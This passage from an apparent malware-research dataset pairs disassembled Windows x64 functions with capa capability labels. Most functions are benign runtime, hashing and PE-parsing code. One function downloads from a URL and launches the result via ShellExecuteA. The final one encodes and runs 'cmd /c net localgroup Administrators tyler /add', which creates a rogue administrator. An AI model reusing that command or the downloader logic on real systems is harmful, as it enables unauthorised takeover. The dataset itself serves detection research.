joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013930
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rsi, [rdx + 3]
test rdx, rdx
mov rbx, rcx
mov rdi, rdx
cmovns rsi, rdx
and rsi, 0xfffffffffffffffc
jle 0x140013920
test rdx, rdx
jle 0x140013910
cmp rdx, rsi
mov rdx, rsi
cmovle rdx, rdi
xor r12d, r12d
xor r13d, r13d
nop dword [rax]
mov eax, dword [rbx + r12]
add r12, 4
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, r13d
rol eax, 0xd
lea r13d, [rax + rax*4 - 0x19ab949c]
cmp r12, rdx
jl 0x1400137f8
cmp rsi, r12
jle 0x140013865
lea rbp, [rdi - 1]
nop dword [rax + rax]
mov rcx, r12
mov rdx, rbp
call fcn.14000d860
mov eax, dword [rbx + r12]
add r12, 4
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, r13d
rol eax, 0xd
lea r13d, [rax + rax*4 - 0x19ab949c]
cmp rsi, r12
jg 0x140013830
mov rax, rdi
xor ebp, ebp
sar rax, 0x3f
shr rax, 0x3e
lea r14, [rdi + rax]
and r14d, 3
sub r14, rax
test r14, r14
jle 0x1400138c6
lea r12, [rdi - 1]
nop word cs:[rax + rax]
sub r14, 1
lea r15, [rsi + r14]
cmp rdi, r15
jg 0x1400138a8
mov rdx, r12
mov rcx, r15
call fcn.14000d860
movzx eax, byte [rbx + r15]
shl ebp, 8
or ebp, eax
test r14, r14
jne 0x140013890
imul ebp, ebp, 0xcc9e2d51
rol ebp, 0xf
imul ebp, ebp, 0x1b873593
xor r13d, edi
mov eax, r13d
xor eax, ebp
mov r13d, eax
shr r13d, 0x10
xor r13d, eax
imul r13d, r13d, 0x85ebca6b
mov edx, r13d
shr edx, 0xd
xor edx, r13d
imul edx, edx, 0xc2b2ae35
mov eax, edx
shr eax, 0x10
xor eax, edx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor r12d, r12d
xor r13d, r13d
jmp 0x140013827
xor esi, esi
xor r13d, r13d
jmp 0x140013865
push r12
sub rsp, 0x20
xor edx, edx
mov r12, rcx
test rcx, rcx
je 0x14001394c
mov rdx, qword [rcx]
test rdx, rdx
js 0x140013960
add r12, 0x10
mov rcx, r12
add rsp, 0x20
pop r12
jmp 0x1400137b0
lea r9, [rdx - 1]
mov r8, rdx
xor ecx, ecx
mov rdx, r9
call fcn.140010200
mov rdx, qword [r12]
jmp 0x140013948
Function at 0x140025e00
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
js 0x140025e20
mov edx, 0
jne 0x140025e31
mov rax, rdx
add rsp, 0x20
pop rbx
ret
movabs r8, 0x7fffffffffffffff
xor edx, edx
call fcn.14000d6c0
mov rcx, qword [0x1400bdfc0]
mov r8, qword [0x1400bdfc8]
cmp rbx, 0xffffffffffffffff
je 0x140025ea0
mov rax, 0xffffffffffffffff
xor edx, edx
div rbx
lea rax, [rcx + r8]
xor r8, rcx
ror rcx, 9
mov r10, rdx
mov r9, r8
xor rcx, r8
ror r8, 0x1c
shl r9, 0xe
xor rcx, r9
add r10, rax
jb 0x140025e51
movq xmm0, rcx
lea rcx, [rbx + 1]
movq xmm1, r8
xor edx, edx
div rcx
punpcklqdq xmm0, xmm1
movups xmmword [0x1400bdfc0], xmm0
mov rax, rdx
add rsp, 0x20
pop rbx
ret
mov rdx, rcx
mov rax, rcx
xor rdx, r8
ror rax, 9
mov r9, rdx
xor rax, rdx
ror rdx, 0x1c
shl r9, 0xe
movq xmm2, rdx
lea rdx, [rcx + r8]
xor rax, r9
movq xmm0, rax
punpcklqdq xmm0, xmm2
movups xmmword [0x1400bdfc0], xmm0
jmp 0x140025e14

Function at 0x140025fd0
Capabilities:
Encode data using xor

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [rcx]
mov rsi, qword [rcx + 8]
mov r12, rbx
cmp rsi, rbx
jge 0x140025ff3
lea rcx, [0x140080820]
call fcn.140001e30
sub rsi, rbx
mov r8, rsi
je 0x140026061
mov r9, qword [0x1400bdfc0]
mov rcx, qword [0x1400bdfc8]
cmp rsi, 0xffffffffffffffff
je 0x140026070
mov rax, 0xffffffffffffffff
xor edx, edx
div rsi
lea rax, [rcx + r9]
xor rcx, r9
ror r9, 9
mov rsi, rdx
mov r10, rcx
xor r9, rcx
ror rcx, 0x1c
shl r10, 0xe
xor r9, r10
add rsi, rax
jb 0x14002601b
add r8, 1
movq xmm0, r9
movq xmm1, rcx
xor edx, edx
div r8
punpcklqdq xmm0, xmm1
movups xmmword [0x1400bdfc0], xmm0
lea r12, [rdx + rbx]
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
mov rdx, r9
mov rax, r9
add r9, rcx
xor rdx, rcx
ror rax, 9
lea r12, [r9 + rbx]
mov r8, rdx
xor rax, rdx
ror rdx, 0x1c
shl r8, 0xe
movq xmm2, rdx
xor rax, r8
movq xmm0, rax
mov rax, r12
punpcklqdq xmm0, xmm2
movups xmmword [0x1400bdfc0], xmm0
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
Function at 0x1400473a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
push rbx
test rdx, rdx
mov eax, r8d
lea r8, [rdx + 7]
mov r9, rcx
cmovns r8, rdx
mov r10, rdx
xor r11d, r11d
lea rcx, [0x140084d00]
sar r8, 3
cmp rdx, 7
jle 0x140047488
nop
mov ebx, dword [r9 + r11*8 + 4]
xor eax, dword [r9 + r11*8]
add r11, 1
mov esi, ebx
movzx edx, bl
shr esi, 0x18
mov edx, dword [rcx + rdx*4 + 0xc00]
xor edx, dword [rcx + rsi*4]
movzx esi, al
xor edx, dword [rcx + rsi*4 + 0x1c00]
mov esi, eax
shr esi, 0x18
xor edx, dword [rcx + rsi*4 + 0x1000]
movzx esi, bh
shr ebx, 0x10
movzx ebx, bl
mov esi, esi
xor edx, dword [rcx + rsi*4 + 0x800]
xor edx, dword [rcx + rbx*4 + 0x400]
movzx ebx, ah
shr eax, 0x10
movzx eax, al
mov ebx, ebx
xor edx, dword [rcx + rbx*4 + 0x1800]
xor edx, dword [rcx + rax*4 + 0x1400]
mov eax, edx
cmp r8, r11
jg 0x1400473d0
shl r8, 3
mov edx, 8
cmp r10, 7
cmovle r8, rdx
cmp r10, r8
jle 0x140047480
add r8, r9
lea rcx, [0x140084d00]
add r9, r10
nop dword [rax]
movzx edx, byte [r8]
add r8, 1
xor edx, eax
shr eax, 8
movzx edx, dl
xor eax, dword [rcx + rdx*4]
cmp r9, r8
jne 0x140047468
pop rbx
pop rsi
ret
xor r8d, r8d
jmp 0x14004744f
Function at 0x140063130
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
movups xmmword [rsp], xmm6
movups xmmword [rsp + 0x10], xmm7
movups xmmword [rsp + 0x20], xmm8
movdqu xmm6, xmmword [rcx]
movdqu xmm3, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm5, xmmword [rcx + 0x30]
movd xmm0, r8d
lea rax, [rdx - 0x40]
pxor xmm0, xmm6
cmp rax, 0x3f
jle 0x140063370
add rdx, 0xffffffffffffff80
movdqu xmm4, xmmword [0x14009bee0]
lea rax, [rcx + 0x40]
mov r8, rdx
and r8, 0xffffffffffffffc0
lea r8, [rcx + r8 + 0x80]
nop dword [rax]
movdqa xmm7, xmm3
movdqa xmm6, xmm2
movdqa xmm1, xmm5
add rax, 0x40
movdqa xmm8, xmm0
pclmulqdq xmm7, xmm4, 0
pclmulqdq xmm6, xmm4, 0
pclmulqdq xmm8, xmm4, 0
pclmulqdq xmm5, xmm4, 0x11
pclmulqdq xmm1, xmm4, 0
pclmulqdq xmm0, xmm4, 0x11
pclmulqdq xmm3, xmm4, 0x11
pclmulqdq xmm2, xmm4, 0x11
pxor xmm0, xmm8
pxor xmm3, xmm7
pxor xmm2, xmm6
movdqu xmm8, xmmword [rax - 0x40]
pxor xmm1, xmm5
movdqu xmm7, xmmword [rax - 0x30]
movdqu xmm6, xmmword [rax - 0x20]
movdqu xmm5, xmmword [rax - 0x10]
pxor xmm0, xmm8
pxor xmm3, xmm7
pxor xmm2, xmm6
pxor xmm5, xmm1
cmp rax, r8
jne 0x140063190
mov rax, rdx
shr rax, 6
lea r8, [rax + 2]
shl rax, 6
mov r9, rax
mov rax, rdx
shl r8, 6
sub rax, r9
movdqu xmm4, xmmword [0x14009bed0]
movdqa xmm1, xmm0
pclmulqdq xmm1, xmm4, 0
pclmulqdq xmm0, xmm4, 0x11
pxor xmm0, xmm1
pxor xmm0, xmm3
movdqa xmm3, xmm0
movdqa xmm1, xmm0
pclmulqdq xmm3, xmm4, 0
pclmulqdq xmm1, xmm4, 0x11
pxor xmm1, xmm3
pxor xmm1, xmm2
movdqa xmm2, xmm1
pclmulqdq xmm1, xmm4, 0x11
pclmulqdq xmm2, xmm4, 0
movdqa xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm5
cmp rax, 0xf
jle 0x1400632fc
movdqa xmm1, xmm0
movdqu xmm7, xmmword [rcx + r8]
pclmulqdq xmm0, xmm4, 0x11
lea rdx, [rax - 0x10]
pclmulqdq xmm1, xmm4, 0
pxor xmm0, xmm1
pxor xmm0, xmm7
cmp rdx, 0xf
jle 0x1400632fc
movdqa xmm1, xmm0
movdqu xmm7, xmmword [rcx + r8 + 0x10]
pclmulqdq xmm0, xmm4, 0x11
pclmulqdq xmm1, xmm4, 0
pxor xmm0, xmm1
pxor xmm0, xmm7
cmp rax, 0x2f
jle 0x1400632fc
movdqa xmm1, xmm0
movdqu xmm2, xmmword [rcx + r8 + 0x20]
pclmulqdq xmm0, xmm4, 0x11
pclmulqdq xmm1, xmm4, 0
pxor xmm0, xmm1
pxor xmm0, xmm2
movdqa xmm1, xmm0
movdqu xmm2, xmmword [0x14009bef0]
psrldq xmm0, 8
movdqu xmm3, xmmword [0x14009bf10]
pclmulqdq xmm1, xmm4, 0x10
movups xmm6, xmmword [rsp]
movups xmm7, xmmword [rsp + 0x10]
pxor xmm1, xmm0
movups xmm8, xmmword [rsp + 0x20]
movdqa xmm0, xmm1
pand xmm1, xmm2
pclmulqdq xmm1, xmmword [0x14009bf00], 0
psrldq xmm0, 4
pxor xmm1, xmm0
movdqa xmm0, xmm1
pand xmm0, xmm2
pclmulqdq xmm0, xmm3, 0x10
pand xmm0, xmm2
pclmulqdq xmm0, xmm3, 0
pxor xmm0, xmm1
pextrd eax, xmm0, 1
add rsp, 0x38
ret
mov r8d, 0x40
jmp 0x140063232
Function at 0x140063380
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
push rbx
test rdx, rdx
mov eax, r8d
lea r8, [rdx + 7]
mov r9, rcx
cmovns r8, rdx
mov r10, rdx
xor r11d, r11d
lea rcx, [0x14009bf20]
sar r8, 3
cmp rdx, 7
jle 0x140063468
nop
mov ebx, dword [r9 + r11*8 + 4]
xor eax, dword [r9 + r11*8]
add r11, 1
mov esi, ebx
movzx edx, bl
shr esi, 0x18
mov edx, dword [rcx + rdx*4 + 0xc00]
xor edx, dword [rcx + rsi*4]
movzx esi, al
xor edx, dword [rcx + rsi*4 + 0x1c00]
mov esi, eax
shr esi, 0x18
xor edx, dword [rcx + rsi*4 + 0x1000]
movzx esi, bh
shr ebx, 0x10
movzx ebx, bl
mov esi, esi
xor edx, dword [rcx + rsi*4 + 0x800]
xor edx, dword [rcx + rbx*4 + 0x400]
movzx ebx, ah
shr eax, 0x10
movzx eax, al
mov ebx, ebx
xor edx, dword [rcx + rbx*4 + 0x1800]
xor edx, dword [rcx + rax*4 + 0x1400]
mov eax, edx
cmp r8, r11
jg 0x1400633b0
shl r8, 3
mov edx, 8
cmp r10, 7
cmovle r8, rdx
cmp r10, r8
jle 0x140063460
add r8, r9
lea rcx, [0x14009bf20]
add r9, r10
nop dword [rax]
movzx edx, byte [r8]
add r8, 1
xor edx, eax
shr eax, 8
movzx edx, dl
xor eax, dword [rcx + rdx*4]
cmp r9, r8
jne 0x140063448
pop rbx
pop rsi
ret
xor r8d, r8d
jmp 0x14006342f
Function at 0x14006ee90
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140078e20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140078e20
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14006ef00
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400c7564]
mov r12, rcx
test ebx, ebx
jle 0x14006f030
mov rax, qword [0x1400c7568]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x14006ef4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x14006efd5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x14006ef30
mov rcx, r12
call fcn.14006f980
mov rsi, rax
test rax, rax
je 0x14006f052
mov rax, qword [0x1400c7568]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.14006fab0
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400c7568]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14006f037
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14006efce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14006efe0
add dword [0x1400c7564], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400c7568]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14006efce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14006ee90
nop dword [rax]
xor ebx, ebx
jmp 0x14006ef58
mov rax, qword [0x1400c7568]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14006ee90
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.14006ee90
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14006f5d0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x1400c75c0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400c75a0]
test rbx, rbx
je 0x14006f62c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14006f623
test r12, r12
je 0x14006f623
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14006f608
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14006f980
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400a2690]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14006f9a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14006f9a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14006f9a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14006f9f5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14006f9ec
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14006f9a0
add rax, 0x28
cmp rax, r9
jne 0x14006f9d8
xor eax, eax
ret

Function at 0x14006fa00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a2690]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14006fa20
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14006fa28
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14006fa20
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14006fab0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a2690]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14006fad0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14006fad8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x2fc558080
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc559160
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc558a82
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc57b108]
test eax, eax
je 0x2fc558b1a
lea rax, [0x2fc57b0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc57b110]
mov qword [rbp - 8], rax
jmp 0x2fc558afe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc558af2
cmp qword [rbp - 0x10], 0
je 0x2fc558af2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc558ab8
lea rax, [0x2fc57b0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc558b1b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc558c20
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc558c48
mov eax, 0
jmp 0x2fc558c96
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc558c71
mov eax, 0
jmp 0x2fc558c96
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc558c91
mov eax, 0
jmp 0x2fc558c96
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc558c9c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc558d1a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc558d11
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc558d11
mov rax, qword [rbp - 8]
jmp 0x2fc558d2f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc558ce4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x140015b40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128a
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x140012220
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x30]
lea rcx, [0x1400230a7]
call fcn.14001139d
lea rax, [rbp + 0x204]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x204]
call fcn.140011960
mov rcx, rax
call fcn.1400111e5
mov qword [rbp + 8], rax
lea rax, [rbp + 0x304]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x304]
call fcn.1400119d0
mov rcx, rax
call fcn.14001134d
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x364]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x364]
call fcn.140011a40
mov rcx, rax
call fcn.14001134d
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.1400110e1
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x14001231e
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
lea rdx, str.Open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x14001239c
lea rax, [rbp + 0x3c4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x414]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0x3c4]
call fcn.140011b20
mov rcx, rax
call fcn.1400113de
mov qword [rbp + 0x448], rax
lea rdx, [rbp + 0x434]
lea rcx, [rbp + 0x414]
call fcn.140011ab0
mov rcx, rax
call fcn.140011181
mov r9d, 0x10
mov rcx, qword [rbp + 0x448]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
lea rsp, [rbp + 0x458]
pop rdi
pop rbp
ret
Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x140013850
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140013870
xor al, al
jmp 0x1400138f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140013883
xor al, al
jmp 0x1400138f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400138ad
xor al, al
jmp 0x1400138f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400138c1
xor al, al
jmp 0x1400138f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400138d3
xor al, al
jmp 0x1400138f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400138ef
xor al, al
jmp 0x1400138f1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400014a4
Capabilities:
Create pipe
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov eax, 0x1130
call fcn.140002780
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x10ac], 0
movabs rax, 0x6e20632f20646d63
movabs rdx, 0x6c61636f6c207465
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x64412070756f7267
movabs rdx, 0x61727473696e696d
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x6c79742073726f74
movabs rdx, 0x6464612f207265
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
lea rdx, [rbp + 0x1098]
lea rax, [rbp + 0x10a0]
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x140001566
lea rax, str.Error_creating_pipe_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x14000170f
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov rax, qword [rbp + 0x1098]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x1098]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x2c], 0x100
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x140001639
lea rax, str.Error_creating_child_process_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x10a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1098]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x14000170f
mov rax, qword [rbp + 0x1098]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001681
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rdx, rax
mov eax, dword [rbp + 0x10ac]
mov ecx, eax
lea rax, [rbp + 0x90]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x10a0]
lea rcx, [rbp + 0x10ac]
lea rdx, [rbp + 0x90]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x1400016c2
mov eax, dword [rbp + 0x10ac]
test eax, eax
jne 0x14000164e
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x10a0]
